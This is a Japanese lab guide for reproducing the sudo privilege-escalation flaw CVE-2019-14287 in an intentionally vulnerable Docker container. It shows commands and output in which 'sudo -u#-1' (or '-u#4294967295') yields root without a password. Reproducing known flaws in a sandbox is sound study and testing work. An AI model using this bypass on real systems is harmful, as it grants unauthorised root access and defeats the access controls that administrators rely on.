
sudo の脆弱性 (CVE-2019-14287) を Docker コンテナ上で再現するサンプルです。
docker compose up -d でコンテナを立ち上げるdocker exec -it vulnerable_sudo_app bash でコンテナに入るwhoamiや idコマンドを実行して、自分が一般ユーザである(rootでない)ことを確認
$ whoami
user1
$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
$ id -u
1000
sudo -u#0 whoami や sudo -u#0 id -u が実行できないことを確認する
-u オプション) に 0 (root)を指定して実行する$ sudo -u#0 whoami
[sudo] password for user1:
$ sudo -u#0 id
[sudo] password for user1:
$ sudo -u#0 id -u
[sudo] password for user1:
sudo -u#-1 whoami や sudo -u#-1 id -u を実行して、認証なしで root としてコマンドが実行できることを確認する(脆弱性の再現)
-u#4294967295 でも同様のことができる$ sudo -u#-1 whoami
root
$ sudo -u#-1 id
uid=0(root) gid=1000(user1) groups=1000(user1)
$ sudo -u#-1 id -u
0